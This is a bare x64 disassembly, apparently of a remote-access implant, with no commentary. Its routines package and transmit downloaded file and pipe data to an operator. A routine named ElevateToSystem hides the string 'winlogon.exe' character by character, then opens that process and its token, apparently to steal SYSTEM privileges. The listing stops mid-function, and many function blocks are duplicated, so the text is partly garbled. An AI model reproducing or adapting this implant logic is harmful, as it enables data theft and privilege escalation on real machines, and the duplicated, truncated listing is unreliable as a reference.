1400125acloc_1400125ac:
1400125acmov eax, [rsp+124]
1400125b0lea r9l, [rax+1]
1400125b4jmp 0x140012554
1400125b6
1400125b6loc_1400125b6:
1400125b6mov rax, [rbx+2266]
1400125bdlea rdx, [rsp+120]
1400125c2mov rcx, [rax+144]
1400125c9lea r8, [rax+208]
1400125d0call r12
1400125d3mov r8l, 219
1400125d9lea rdx, [rip+0x1ab30]
1400125e0lea rcx, [rip+0x155fb]
1400125e7mov r9l, eax
1400125eatest eax, eax
1400125ecjne 0x14001267e
1400125f2mov rsi, [rbx+2266]
1400125f9mov ecx, -11
1400125fecall [rbx+1668]
140012604mov ecx, -11
140012609mov [rsi+88], rax
14001260dmov rax, [rbx+2266]
140012614mov rdx, [rax+80]
140012618call [rbx+1676]
14001261emov rax, [rbx+2266]
140012625mov rdx, [rsp+168]
14001262dmovups x0, [rsp+152]
140012635mov rcx, [rax+200]
14001263cmov [rsp+96], rdx
140012641lea r9, [rax+232]
140012648lea rdx, [rsp+80]
14001264dmovups [rsp+80], x0
140012652mov r8, [rax+144]
140012659mov r10, [rcx]
14001265ccall [r10+296]
140012663mov r9l, eax
140012666test eax, eax
140012668je 0x140012688
14001266amov r8l, 227
140012670lea rdx, [rip+0x1aa99]
140012677lea rcx, [rip+0x15594]
14001267e
14001267eloc_14001267e:
14001267ecall printf
140012683jmp 0x14001201f
140012688
140012688loc_140012688:
140012688mov rax, [rbx+2266]
14001268fmov [rax+256], 1
140012699call DotnetPush
14001269emov eax, 1
1400126a3
1400126a3loc_1400126a3:
1400126a3lea rsp, [rbp-56]
1400126a7pop rbx
1400126a8pop rsi
1400126a9pop rdi
1400126aapop r12
1400126acpop r13
1400126aepop r14
1400126b0pop r15
1400126b2pop rbp
1400126b3ret
140011f20
1400126b4
1400126b4 // align 0x10
1400126b4 // align 0x10
1400126c0
1400126c0DotnetPush:
1400126c0push rbx
1400126c1sub rsp, 32
1400126c5mov rbx, [rip+0x19ca4]
1400126ccmov rax, [rbx+2266]
1400126d3test rax, rax
1400126d6je 0x14001272e
1400126d8cmp [rax+256], 0
1400126dflea r9, [rip+0x14f9d]
1400126e6lea rax, [rip+0x14f91]
1400126edmov r8l, 369
1400126f3cmovne r9, rax
1400126f7lea rdx, [rip+0x1a572]
1400126felea rcx, [rip+0x14f84]
140012705call printf
14001270amov rax, [rbx+2266]
140012711cmp [rax+256], 0
140012718je 0x14001272e
14001271acall DotnetPushPipe
14001271fcall DotnetPushPipe
140012724add rsp, 32
140012728pop rbx
140012729jmp 0x140011b70
14001272e
14001272eloc_14001272e:
14001272eadd rsp, 32
140012732pop rbx
140012733ret
1400126c0
1400126c0DotnetPush:
1400126c0push rbx
1400126c1sub rsp, 32
1400126c5mov rbx, [rip+0x19ca4]
1400126ccmov rax, [rbx+2266]
1400126d3test rax, rax
1400126d6je 0x14001272e
1400126d8cmp [rax+256], 0
1400126dflea r9, [rip+0x14f9d]
1400126e6lea rax, [rip+0x14f91]
1400126edmov r8l, 369
1400126f3cmovne r9, rax
1400126f7lea rdx, [rip+0x1a572]
1400126felea rcx, [rip+0x14f84]
140012705call printf
14001270amov rax, [rbx+2266]
140012711cmp [rax+256], 0
140012718je 0x14001272e
14001271acall DotnetPushPipe
14001271fcall DotnetPushPipe
140012724add rsp, 32
140012728pop rbx
140012729jmp 0x140011b70
14001272e
14001272eloc_14001272e:
14001272eadd rsp, 32
140012732pop rbx
140012733ret
1400126c0
140012734
140012734 // align 0x10
140012734 // align 0x10
140012740
140012740DotnetPushPipe:
140012740push rdi
140012741xor r11l, r11l
140012744push rbx
140012745sub rsp, 72
140012749mov rbx, [rip+0x19c20]
140012750mov [rsp+56], r11l
140012755mov rax, [rbx+2266]
14001275cmov [rsp+60], r11l
140012761test rax, rax
140012764je 0x140012894
14001276amov rcx, [rax+72]
14001276exor r10l, r10l
140012771lea rax, [rsp+56]
140012776xor r9l, r9l
140012779xor r8l, r8l
14001277cxor edx, edx
14001277emov [rsp+40], r10
140012783mov [rsp+32], rax
140012788call [rbx+860]
14001278etest eax, eax
140012790je 0x140012894
140012796mov r9l, [rsp+56]
14001279bmov r8l, 340
1400127a1lea rdx, [rip+0x1a7e8]
1400127a8lea rcx, [rip+0x14e81]
1400127afcall printf
1400127b4mov r8l, [rsp+56]
1400127b9test r8l, r8l
1400127bcje 0x140012894
1400127c2mov rax, [rbx+2230]
1400127c9mov rdi, [rbx+2266]
1400127d0mov edx, 8
1400127d5mov rax, [rax+96]
1400127d9mov [rdi+64], r8l
1400127ddmov rcx, [rax+48]
1400127e1call [rbx+316]
1400127e7xor r9l, r9l
1400127eamov [rdi+56], rax
1400127eemov rax, [rbx+2266]
1400127f5mov r8l, [rax+64]
1400127f9mov rdx, [rax+56]
1400127fdmov rcx, [rax+72]
140012801mov [rsp+32], r9
140012806lea r9, [rsp+60]
14001280bcall [rbx+916]
140012811mov edx, [rsp+60]
140012815mov ecx, 90
14001281amov rax, [rbx+2266]
140012821mov [rax+64], edx
140012824mov edx, [rax]
140012826call PackageCreateWithRequestID
14001282bmov rdi, rax
14001282emov rax, [rbx+2266]
140012835mov rcx, rdi
140012838mov rdx, [rax+56]
14001283cmov r8l, [rax+64]
140012840call PackageAddBytes
140012845mov rcx, rdi
140012848call PackageTransmit
14001284dmov rax, [rbx+2266]
140012854mov rdi, [rax+56]
140012858test rdi, rdi
14001285bje 0x140012894
14001285dmov ecx, [rsp+56]
140012861xor eax, eax
140012863rep stosb [rdi], al
140012865mov rdx, [rbx+2230]
14001286cmov rax, [rbx+2266]
140012873mov rdx, [rdx+96]
140012877mov r8, [rax+56]
14001287bmov rcx, [rdx+48]
14001287fxor edx, edx
140012881call [rbx+332]
140012887mov rax, [rbx+2266]
14001288exor edx, edx
140012890mov [rax+56], rdx
140012894
140012894loc_140012894:
140012894add rsp, 72
140012898pop rbx
140012899pop rdi
14001289aret
140012740
140012740DotnetPushPipe:
140012740push rdi
140012741xor r11l, r11l
140012744push rbx
140012745sub rsp, 72
140012749mov rbx, [rip+0x19c20]
140012750mov [rsp+56], r11l
140012755mov rax, [rbx+2266]
14001275cmov [rsp+60], r11l
140012761test rax, rax
140012764je 0x140012894
14001276amov rcx, [rax+72]
14001276exor r10l, r10l
140012771lea rax, [rsp+56]
140012776xor r9l, r9l
140012779xor r8l, r8l
14001277cxor edx, edx
14001277emov [rsp+40], r10
140012783mov [rsp+32], rax
140012788call [rbx+860]
14001278etest eax, eax
140012790je 0x140012894
140012796mov r9l, [rsp+56]
14001279bmov r8l, 340
1400127a1lea rdx, [rip+0x1a7e8]
1400127a8lea rcx, [rip+0x14e81]
1400127afcall printf
1400127b4mov r8l, [rsp+56]
1400127b9test r8l, r8l
1400127bcje 0x140012894
1400127c2mov rax, [rbx+2230]
1400127c9mov rdi, [rbx+2266]
1400127d0mov edx, 8
1400127d5mov rax, [rax+96]
1400127d9mov [rdi+64], r8l
1400127ddmov rcx, [rax+48]
1400127e1call [rbx+316]
1400127e7xor r9l, r9l
1400127eamov [rdi+56], rax
1400127eemov rax, [rbx+2266]
1400127f5mov r8l, [rax+64]
1400127f9mov rdx, [rax+56]
1400127fdmov rcx, [rax+72]
140012801mov [rsp+32], r9
140012806lea r9, [rsp+60]
14001280bcall [rbx+916]
140012811mov edx, [rsp+60]
140012815mov ecx, 90
14001281amov rax, [rbx+2266]
140012821mov [rax+64], edx
140012824mov edx, [rax]
140012826call PackageCreateWithRequestID
14001282bmov rdi, rax
14001282emov rax, [rbx+2266]
140012835mov rcx, rdi
140012838mov rdx, [rax+56]
14001283cmov r8l, [rax+64]
140012840call PackageAddBytes
140012845mov rcx, rdi
140012848call PackageTransmit
14001284dmov rax, [rbx+2266]
140012854mov rdi, [rax+56]
140012858test rdi, rdi
14001285bje 0x140012894
14001285dmov ecx, [rsp+56]
140012861xor eax, eax
140012863rep stosb [rdi], al
140012865mov rdx, [rbx+2230]
14001286cmov rax, [rbx+2266]
140012873mov rdx, [rdx+96]
140012877mov r8, [rax+56]
14001287bmov rcx, [rdx+48]
14001287fxor edx, edx
140012881call [rbx+332]
140012887mov rax, [rbx+2266]
14001288exor edx, edx
140012890mov [rax+56], rdx
140012894
140012894loc_140012894:
140012894add rsp, 72
140012898pop rbx
140012899pop rdi
14001289aret
140012740
14001289b
14001289b // align 0x10
14001289b // align 0x10
1400128a0
1400128a0DownloadAdd:
1400128a0push rbp
1400128a1mov r8l, 56
1400128a7mov rbp, rcx
1400128aapush rdi
1400128abmov rdi, rdx
1400128aemov edx, 8
1400128b3push rsi
1400128b4push rbx
1400128b5sub rsp, 40
1400128b9mov rsi, [rip+0x19ab0]
1400128c0mov rax, [rsi+2230]
1400128c7mov rax, [rax+96]
1400128cbmov rcx, [rax+48]
1400128cfcall [rsi+316]
1400128d5mov rbx, rax
1400128d8call RandomNumber32
1400128ddmov [rbx+8], rbp
1400128e1mov r9, rbx
1400128e4mov r8l, 21
1400128eamov [rbx], eax
1400128ecmov rax, [rsi+2310]
1400128f3lea rdx, [rip+0x1a9b6]
1400128falea rcx, [rip+0x1533f]
140012901mov [rbx+24], rdi
140012905mov [rbx+48], rax
140012909mov eax, [rsi+8]
14001290cmov [rbx+40], 1
140012913mov [rbx+16], eax
140012916mov [rsi+2310], rbx
14001291dcall printf
140012922add rsp, 40
140012926mov rax, rbx
140012929pop rbx
14001292apop rsi
14001292bpop rdi
14001292cpop rbp
14001292dret
1400128a0
1400128a0DownloadAdd:
1400128a0push rbp
1400128a1mov r8l, 56
1400128a7mov rbp, rcx
1400128aapush rdi
1400128abmov rdi, rdx
1400128aemov edx, 8
1400128b3push rsi
1400128b4push rbx
1400128b5sub rsp, 40
1400128b9mov rsi, [rip+0x19ab0]
1400128c0mov rax, [rsi+2230]
1400128c7mov rax, [rax+96]
1400128cbmov rcx, [rax+48]
1400128cfcall [rsi+316]
1400128d5mov rbx, rax
1400128d8call RandomNumber32
1400128ddmov [rbx+8], rbp
1400128e1mov r9, rbx
1400128e4mov r8l, 21
1400128eamov [rbx], eax
1400128ecmov rax, [rsi+2310]
1400128f3lea rdx, [rip+0x1a9b6]
1400128falea rcx, [rip+0x1533f]
140012901mov [rbx+24], rdi
140012905mov [rbx+48], rax
140012909mov eax, [rsi+8]
14001290cmov [rbx+40], 1
140012913mov [rbx+16], eax
140012916mov [rsi+2310], rbx
14001291dcall printf
140012922add rsp, 40
140012926mov rax, rbx
140012929pop rbx
14001292apop rsi
14001292bpop rdi
14001292cpop rbp
14001292dret
1400128a0
14001292e
14001292e // align 0x10
14001292e // align 0x10
140012930
140012930DownloadFree:
140012930push rdi
140012931push rbx
140012932mov rbx, rcx
140012935sub rsp, 40
140012939mov rcx, [rcx+8]
14001293dtest rcx, rcx
140012940je 0x140012947
140012942call SysNtClose
140012947
140012947loc_140012947:
140012947lea r9, [rip+0x1531c]
14001294emov r8l, 48
140012954mov rdi, rbx
140012957lea rdx, [rip+0x1a8a2]
14001295elea rcx, [rip+0x1531a]
140012965call printf
14001296amov ecx, 56
14001296fxor eax, eax
140012971rep stosb [rdi], al
140012973mov rax, [rip+0x199f6]
14001297amov r8, rbx
14001297dmov rdx, [rax+2230]
140012984mov rax, [rax+332]
14001298bmov rdx, [rdx+96]
14001298fmov rcx, [rdx+48]
140012993add rsp, 40
140012997xor edx, edx
140012999pop rbx
14001299apop rdi
14001299bjmp rax
140012930
140012930DownloadFree:
140012930push rdi
140012931push rbx
140012932mov rbx, rcx
140012935sub rsp, 40
140012939mov rcx, [rcx+8]
14001293dtest rcx, rcx
140012940je 0x140012947
140012942call SysNtClose
140012947
140012947loc_140012947:
140012947lea r9, [rip+0x1531c]
14001294emov r8l, 48
140012954mov rdi, rbx
140012957lea rdx, [rip+0x1a8a2]
14001295elea rcx, [rip+0x1531a]
140012965call printf
14001296amov ecx, 56
14001296fxor eax, eax
140012971rep stosb [rdi], al
140012973mov rax, [rip+0x199f6]
14001297amov r8, rbx
14001297dmov rdx, [rax+2230]
140012984mov rax, [rax+332]
14001298bmov rdx, [rdx+96]
14001298fmov rcx, [rdx+48]
140012993add rsp, 40
140012997xor edx, edx
140012999pop rbx
14001299apop rdi
14001299bjmp rax
140012930
14001299d
14001299d // align 0x10
14001299d // align 0x10
1400129a0
1400129a0DownloadPush:
1400129a0push r14
1400129a2push r13
1400129a4lea r13, [rip+0x15358]
1400129abpush r12
1400129adlea r12, [rip+0x15468]
1400129b4push rbp
1400129b5lea rbp, [rip+0x1a5e4]
1400129bcpush rdi
1400129bdpush rsi
1400129bepush rbx
1400129bfsub rsp, 64
1400129c3mov rbx, [rip+0x199a6]
1400129camov rsi, [rbx+2310]
1400129d1mov rdi, [rbx+2250]
1400129d8test rsi, rsi
1400129dbjne 0x140012a1d
1400129ddtest rdi, rdi
1400129e0je 0x140012cc2
1400129e6mov ecx, [rbx+2258]
1400129ecxor eax, eax
1400129eerep stosb [rdi], al
1400129f0mov rax, [rbx+2230]
1400129f7mov r8, [rbx+2250]
1400129fexor edx, edx
140012a00mov rax, [rax+96]
140012a04mov rcx, [rax+48]
140012a08call [rbx+332]
140012a0exor r10l, r10l
140012a11mov [rbx+2250], r10
140012a18jmp 0x140012cc2
140012a1d
140012a1dloc_140012a1d:
140012a1dcmp [rbx+2250], 0
140012a25jne 0x140012a77
140012a27mov rax, [rbx+2230]
140012a2emov r8l, [rbx+244]
140012a35mov edx, 8
140012a3amov rax, [rax+96]
140012a3emov rcx, [rax+48]
140012a42call [rbx+316]
140012a48mov r8l, 129
140012a4emov rdx, rbp
140012a51lea rcx, [rip+0x15260]
140012a58mov [rbx+2250], rax
140012a5fmov r9, rax
140012a62mov eax, [rbx+244]
140012a68mov [rbx+2258], eax
140012a6emov [rsp+32], eax
140012a72call printf
140012a77
140012a77loc_140012a77:
140012a77mov r9, rsi
140012a7amov r8l, 132
140012a80mov rdx, rbp
140012a83mov rcx, r13
140012a86call printf
140012a8bcmp [rsi+40], 1
140012a8fjne 0x140012c36
140012a95mov r9l, [rsi]
140012a98xor eax, eax
140012a9amov r8l, 137
140012aa0mov rdx, rbp
140012aa3lea rcx, [rip+0x15277]
140012aaamov [rsp+60], eax
140012aaecall printf
140012ab3mov ecx, [rbx+2258]
140012ab9mov rdi, [rbx+2250]
140012ac0xor eax, eax
140012ac2rep stosb [rdi], al
140012ac4xor r9l, r9l
140012ac7mov r8l, [rbx+2258]
140012acemov rdx, [rbx+2250]
140012ad5mov rcx, [rsi+8]
140012ad9mov [rsp+32], r9
140012adelea r9, [rsp+60]
140012ae3call [rbx+916]
140012ae9test eax, eax
140012aebjne 0x140012b0d
140012aedmov rax, [rbx+2230]
140012af4mov r8l, 143
140012afamov rdx, rbp
140012afdlea rcx, [rip+0x1525f]
140012b04mov r9l, [rax+104]
140012b08call printf
140012b0d
140012b0dloc_140012b0d:
140012b0dmov edx, [rsp+60]
140012b11sub [rsi+24], rdx
140012b15add [rsi+32], rdx
140012b19test edx, edx
140012b1bje 0x140012bfc
140012b21lea r14, [rip+0x15157]
140012b28lea r9, [rip+0x15260]
140012b2fmov r8l, 151
140012b35mov rdx, rbp
140012b38mov rcx, r14
140012b3bcall printf
140012b40mov edx, [rsi+16]
140012b43mov ecx, 15
140012b48call PackageCreateWithRequestID
140012b4dmov edx, 2
140012b52mov rdi, rax
140012b55mov rcx, rax
140012b58call PackageAddInt32
140012b5dmov edx, 1
140012b62mov rcx, rdi
140012b65call PackageAddInt32
140012b6amov edx, [rsi]
140012b6cmov rcx, rdi
140012b6fcall PackageAddInt32
140012b74mov rdx, [rbx+2250]
140012b7bmov r8l, [rsp+60]
140012b80mov rcx, rdi
140012b83call PackageAddBytes
140012b88lea r9, [rip+0x15214]
140012b8fmov rdx, rbp
140012b92mov rcx, r14
140012b95mov r8l, 164
140012b9bcall printf
140012ba0mov rcx, rdi
140012ba3call PackageTransmit
140012ba8cmp [rsp+60], 0
140012badje 0x140012bfc
140012bafcmp [rsi+24], 0
140012bb4jne 0x140012bfc
140012bb6mov edx, [rsi+16]
140012bb9mov ecx, 15
140012bbecall PackageCreateWithRequestID
140012bc3mov edx, 2
140012bc8mov rdi, rax
140012bcbmov rcx, rax
140012bcecall PackageAddInt32
140012bd3mov edx, 2
140012bd8mov rcx, rdi
140012bdbcall PackageAddInt32
140012be0mov edx, [rsi]
140012be2mov rcx, rdi
140012be5call PackageAddInt32
140012beamov rcx, rdi
140012bedxor edx, edx
140012befcall PackageAddInt32
140012bf4mov rcx, rdi
140012bf7call PackageTransmit
140012bfc
140012bfcloc_140012bfc:
140012bfcmov r9l, [rsp+60]
140012c01mov rax, [rsi+24]
140012c05test r9l, r9l
140012c08je 0x140012c0f
140012c0atest rax, rax
140012c0djne 0x140012c36
140012c0f
140012c0floc_140012c0f:
140012c0fmov edx, [rsi]
140012c11mov [rsp+32], rax
140012c16mov r8l, 188
140012c1clea rcx, [rip+0x15198]
140012c23mov [rsp+40], edx
140012c27mov rdx, rbp
140012c2acall printf
140012c2fmov [rsi+40], 3
140012c36
140012c36loc_140012c36:
140012c36mov rax, [rsi+48]
140012c3amov r9, rsi
140012c3dmov r8l, 196
140012c43mov rdx, rbp
140012c46mov rcx, r12
140012c49mov [rsp+32], rax
140012c4ecall printf
140012c53mov rsi, [rsi+48]
140012c57test rsi, rsi
140012c5ajne 0x140012a1d
140012c60mov rdi, [rbx+2310]
140012c67
140012c67loc_140012c67:
140012c67test rdi, rdi
140012c6aje 0x140012cac
140012c6ccmp [rdi+40], 3
140012c70mov rax, [rdi+48]
140012c74je 0x140012c7e
140012c76
140012c76loc_140012c76:
140012c76mov rsi, rdi
140012c79mov rdi, rax
140012c7cjmp 0x140012c67
140012c7e
140012c7eloc_140012c7e:
140012c7etest rsi, rsi
140012c81jne 0x140012c94
140012c83
140012c83loc_140012c83:
140012c83mov rcx, rdi
140012c86mov [rbx+2310], rax
140012c8dcall DownloadFree
140012c92jmp 0x140012cac
140012c94
140012c94loc_140012c94:
140012c94mov [rsi+48], rax
140012c98mov rcx, rdi
140012c9bcall DownloadFree
140012ca0cmp [rdi+40], 3
140012ca4mov rax, [rdi+48]
140012ca8jne 0x140012c76
140012caajmp 0x140012c83
140012cac
140012cacloc_140012cac:
140012cacmov rdi, [rbx+2250]
140012cb3test rdi, rdi
140012cb6je 0x140012cc2
140012cb8mov ecx, [rbx+2258]
140012cbexor eax, eax
140012cc0rep stosb [rdi], al
140012cc2
140012cc2loc_140012cc2:
140012cc2add rsp, 64
140012cc6pop rbx
140012cc7pop rsi
140012cc8pop rdi
140012cc9pop rbp
140012ccapop r12
140012cccpop r13
140012ccepop r14
140012cd0ret
1400129a0
1400129a0DownloadPush:
1400129a0push r14
1400129a2push r13
1400129a4lea r13, [rip+0x15358]
1400129abpush r12
1400129adlea r12, [rip+0x15468]
1400129b4push rbp
1400129b5lea rbp, [rip+0x1a5e4]
1400129bcpush rdi
1400129bdpush rsi
1400129bepush rbx
1400129bfsub rsp, 64
1400129c3mov rbx, [rip+0x199a6]
1400129camov rsi, [rbx+2310]
1400129d1mov rdi, [rbx+2250]
1400129d8test rsi, rsi
1400129dbjne 0x140012a1d
1400129ddtest rdi, rdi
1400129e0je 0x140012cc2
1400129e6mov ecx, [rbx+2258]
1400129ecxor eax, eax
1400129eerep stosb [rdi], al
1400129f0mov rax, [rbx+2230]
1400129f7mov r8, [rbx+2250]
1400129fexor edx, edx
140012a00mov rax, [rax+96]
140012a04mov rcx, [rax+48]
140012a08call [rbx+332]
140012a0exor r10l, r10l
140012a11mov [rbx+2250], r10
140012a18jmp 0x140012cc2
140012a1d
140012a1dloc_140012a1d:
140012a1dcmp [rbx+2250], 0
140012a25jne 0x140012a77
140012a27mov rax, [rbx+2230]
140012a2emov r8l, [rbx+244]
140012a35mov edx, 8
140012a3amov rax, [rax+96]
140012a3emov rcx, [rax+48]
140012a42call [rbx+316]
140012a48mov r8l, 129
140012a4emov rdx, rbp
140012a51lea rcx, [rip+0x15260]
140012a58mov [rbx+2250], rax
140012a5fmov r9, rax
140012a62mov eax, [rbx+244]
140012a68mov [rbx+2258], eax
140012a6emov [rsp+32], eax
140012a72call printf
140012a77
140012a77loc_140012a77:
140012a77mov r9, rsi
140012a7amov r8l, 132
140012a80mov rdx, rbp
140012a83mov rcx, r13
140012a86call printf
140012a8bcmp [rsi+40], 1
140012a8fjne 0x140012c36
140012a95mov r9l, [rsi]
140012a98xor eax, eax
140012a9amov r8l, 137
140012aa0mov rdx, rbp
140012aa3lea rcx, [rip+0x15277]
140012aaamov [rsp+60], eax
140012aaecall printf
140012ab3mov ecx, [rbx+2258]
140012ab9mov rdi, [rbx+2250]
140012ac0xor eax, eax
140012ac2rep stosb [rdi], al
140012ac4xor r9l, r9l
140012ac7mov r8l, [rbx+2258]
140012acemov rdx, [rbx+2250]
140012ad5mov rcx, [rsi+8]
140012ad9mov [rsp+32], r9
140012adelea r9, [rsp+60]
140012ae3call [rbx+916]
140012ae9test eax, eax
140012aebjne 0x140012b0d
140012aedmov rax, [rbx+2230]
140012af4mov r8l, 143
140012afamov rdx, rbp
140012afdlea rcx, [rip+0x1525f]
140012b04mov r9l, [rax+104]
140012b08call printf
140012b0d
140012b0dloc_140012b0d:
140012b0dmov edx, [rsp+60]
140012b11sub [rsi+24], rdx
140012b15add [rsi+32], rdx
140012b19test edx, edx
140012b1bje 0x140012bfc
140012b21lea r14, [rip+0x15157]
140012b28lea r9, [rip+0x15260]
140012b2fmov r8l, 151
140012b35mov rdx, rbp
140012b38mov rcx, r14
140012b3bcall printf
140012b40mov edx, [rsi+16]
140012b43mov ecx, 15
140012b48call PackageCreateWithRequestID
140012b4dmov edx, 2
140012b52mov rdi, rax
140012b55mov rcx, rax
140012b58call PackageAddInt32
140012b5dmov edx, 1
140012b62mov rcx, rdi
140012b65call PackageAddInt32
140012b6amov edx, [rsi]
140012b6cmov rcx, rdi
140012b6fcall PackageAddInt32
140012b74mov rdx, [rbx+2250]
140012b7bmov r8l, [rsp+60]
140012b80mov rcx, rdi
140012b83call PackageAddBytes
140012b88lea r9, [rip+0x15214]
140012b8fmov rdx, rbp
140012b92mov rcx, r14
140012b95mov r8l, 164
140012b9bcall printf
140012ba0mov rcx, rdi
140012ba3call PackageTransmit
140012ba8cmp [rsp+60], 0
140012badje 0x140012bfc
140012bafcmp [rsi+24], 0
140012bb4jne 0x140012bfc
140012bb6mov edx, [rsi+16]
140012bb9mov ecx, 15
140012bbecall PackageCreateWithRequestID
140012bc3mov edx, 2
140012bc8mov rdi, rax
140012bcbmov rcx, rax
140012bcecall PackageAddInt32
140012bd3mov edx, 2
140012bd8mov rcx, rdi
140012bdbcall PackageAddInt32
140012be0mov edx, [rsi]
140012be2mov rcx, rdi
140012be5call PackageAddInt32
140012beamov rcx, rdi
140012bedxor edx, edx
140012befcall PackageAddInt32
140012bf4mov rcx, rdi
140012bf7call PackageTransmit
140012bfc
140012bfcloc_140012bfc:
140012bfcmov r9l, [rsp+60]
140012c01mov rax, [rsi+24]
140012c05test r9l, r9l
140012c08je 0x140012c0f
140012c0atest rax, rax
140012c0djne 0x140012c36
140012c0f
140012c0floc_140012c0f:
140012c0fmov edx, [rsi]
140012c11mov [rsp+32], rax
140012c16mov r8l, 188
140012c1clea rcx, [rip+0x15198]
140012c23mov [rsp+40], edx
140012c27mov rdx, rbp
140012c2acall printf
140012c2fmov [rsi+40], 3
140012c36
140012c36loc_140012c36:
140012c36mov rax, [rsi+48]
140012c3amov r9, rsi
140012c3dmov r8l, 196
140012c43mov rdx, rbp
140012c46mov rcx, r12
140012c49mov [rsp+32], rax
140012c4ecall printf
140012c53mov rsi, [rsi+48]
140012c57test rsi, rsi
140012c5ajne 0x140012a1d
140012c60mov rdi, [rbx+2310]
140012c67
140012c67loc_140012c67:
140012c67test rdi, rdi
140012c6aje 0x140012cac
140012c6ccmp [rdi+40], 3
140012c70mov rax, [rdi+48]
140012c74je 0x140012c7e
140012c76
140012c76loc_140012c76:
140012c76mov rsi, rdi
140012c79mov rdi, rax
140012c7cjmp 0x140012c67
140012c7e
140012c7eloc_140012c7e:
140012c7etest rsi, rsi
140012c81jne 0x140012c94
140012c83
140012c83loc_140012c83:
140012c83mov rcx, rdi
140012c86mov [rbx+2310], rax
140012c8dcall DownloadFree
140012c92jmp 0x140012cac
140012c94
140012c94loc_140012c94:
140012c94mov [rsi+48], rax
140012c98mov rcx, rdi
140012c9bcall DownloadFree
140012ca0cmp [rdi+40], 3
140012ca4mov rax, [rdi+48]
140012ca8jne 0x140012c76
140012caajmp 0x140012c83
140012cac
140012cacloc_140012cac:
140012cacmov rdi, [rbx+2250]
140012cb3test rdi, rdi
140012cb6je 0x140012cc2
140012cb8mov ecx, [rbx+2258]
140012cbexor eax, eax
140012cc0rep stosb [rdi], al
140012cc2
140012cc2loc_140012cc2:
140012cc2add rsp, 64
140012cc6pop rbx
140012cc7pop rsi
140012cc8pop rdi
140012cc9pop rbp
140012ccapop r12
140012cccpop r13
140012ccepop r14
140012cd0ret
1400129a0
140012cd1
140012cd1 // align 0x10
140012cd1 // align 0x10
140012ce0
140012ce0DownloadRemove:
140012ce0push rsi
140012ce1mov r9l, ecx
140012ce4push rbx
140012ce5sub rsp, 40
140012ce9mov rax, [rip+0x19680]
140012cf0mov rsi, [rax+2310]
140012cf7mov rbx, rsi
140012cfa
140012cfaloc_140012cfa:
140012cfatest rbx, rbx
140012cfdje 0x140012d3d
140012cffcmp [rbx], r9l
140012d02jne 0x140012d34
140012d04mov r8l, 73
140012d0alea rdx, [rip+0x1a40f]
140012d11lea rcx, [rip+0x14f7b]
140012d18call printf
140012d1dmov rax, [rbx+48]
140012d21mov rcx, rbx
140012d24mov [rsi+48], rax
140012d28call DownloadFree
140012d2dmov eax, 1
140012d32jmp 0x140012d3f
140012d34
140012d34loc_140012d34:
140012d34mov rsi, rbx
140012d37mov rbx, [rbx+48]
140012d3bjmp 0x140012cfa
140012d3d
140012d3dloc_140012d3d:
140012d3dxor eax, eax
140012d3f
140012d3floc_140012d3f:
140012d3fadd rsp, 40
140012d43pop rbx
140012d44pop rsi
140012d45ret
140012ce0
140012ce0DownloadRemove:
140012ce0push rsi
140012ce1mov r9l, ecx
140012ce4push rbx
140012ce5sub rsp, 40
140012ce9mov rax, [rip+0x19680]
140012cf0mov rsi, [rax+2310]
140012cf7mov rbx, rsi
140012cfa
140012cfaloc_140012cfa:
140012cfatest rbx, rbx
140012cfdje 0x140012d3d
140012cffcmp [rbx], r9l
140012d02jne 0x140012d34
140012d04mov r8l, 73
140012d0alea rdx, [rip+0x1a40f]
140012d11lea rcx, [rip+0x14f7b]
140012d18call printf
140012d1dmov rax, [rbx+48]
140012d21mov rcx, rbx
140012d24mov [rsi+48], rax
140012d28call DownloadFree
140012d2dmov eax, 1
140012d32jmp 0x140012d3f
140012d34
140012d34loc_140012d34:
140012d34mov rsi, rbx
140012d37mov rbx, [rbx+48]
140012d3bjmp 0x140012cfa
140012d3d
140012d3dloc_140012d3d:
140012d3dxor eax, eax
140012d3f
140012d3floc_140012d3f:
140012d3fadd rsp, 40
140012d43pop rbx
140012d44pop rsi
140012d45ret
140012ce0
140012d46
140012d46 // align 0x10
140012d46 // align 0x10
140012d50
140012d50ElevateToSystem:
140012d50push rdi
140012d51mov ecx, 26
140012d56push rsi
140012d57push rbx
140012d58xor ebx, ebx
140012d5amov eax, ebx
140012d5csub rsp, 96
140012d60lea rdi, [rsp+70]
140012d65rep stosb [rdi], al
140012d67xor eax, eax
140012d69mov ecx, 101
140012d6elea rdi, [rsp+70]
140012d73mov [rsp+48], rax
140012d78mov [rsp+56], rax
140012d7dcall HideChar
140012d82mov ecx, 111
140012d87movzx eax, al
140012d8amov [rsp+92], ax
140012d8fcall HideChar
140012d94mov ecx, 110
140012d99movzx eax, al
140012d9cmov [rsp+78], ax
140012da1call HideChar
140012da6mov ecx, 111
140012dabmovzx eax, al
140012daemov [rsp+74], ax
140012db3call HideChar
140012db8mov ecx, 110
140012dbdmovzx eax, al
140012dc0mov [rsp+82], ax
140012dc5call HideChar
140012dcamov ecx, 103
140012dcfmovzx eax, al
140012dd2mov [rsp+84], ax
140012dd7call HideChar
140012ddcxor ecx, ecx
140012ddemovzx eax, al
140012de1mov [rsp+80], ax
140012de6call HideChar
140012debmov ecx, 108
140012df0movzx eax, al
140012df3mov [rsp+94], ax
140012df8call HideChar
140012dfdmov ecx, 101
140012e02movzx eax, al
140012e05mov [rsp+76], ax
140012e0acall HideChar
140012e0fmov ecx, 46
140012e14movzx eax, al
140012e17mov [rsp+88], ax
140012e1ccall HideChar
140012e21mov ecx, 105
140012e26movzx eax, al
140012e29mov [rsp+86], ax
140012e2ecall HideChar
140012e33mov ecx, 119
140012e38movzx eax, al
140012e3bmov [rsp+72], ax
140012e40call HideChar
140012e45mov ecx, 120
140012e4amovzx eax, al
140012e4dmov [rsp+70], ax
140012e52call HideChar
140012e57mov rcx, rdi
140012e5amovzx eax, al
140012e5dmov [rsp+90], ax
140012e62call GetProcessIdByName
140012e67mov ecx, 26
140012e6cmov r8l, eax
140012e6fmov eax, ebx
140012e71rep stosb [rdi], al
140012e73cmp r8l, -1
140012e77jne 0x140012e9e
140012e79lea r9, [rip+0x15460]
140012e80mov r8l, 89
140012e86lea rdx, [rip+0x1a2b3]
140012e8dlea rcx, [rip+0x15473]
140012e94call printf
140012e99jmp 0x140012fb0
140012e9e
140012e9eloc_140012e9e:
140012e9emov edx, 4096
140012ea3mov ecx, r8l
140012ea6call ProcessOpen
140012eabmov rdi, rax
140012eaetest rax, rax
140012eb1je 0x140012f85
140012eb7lea r8, [rsp+56]
140012ebcmov edx, 14
140012ec1mov rcx, rax
140012ec4call SysNtOpenProcessToken
140012ec9mov esi, eax
140012ecbtest eax, eax
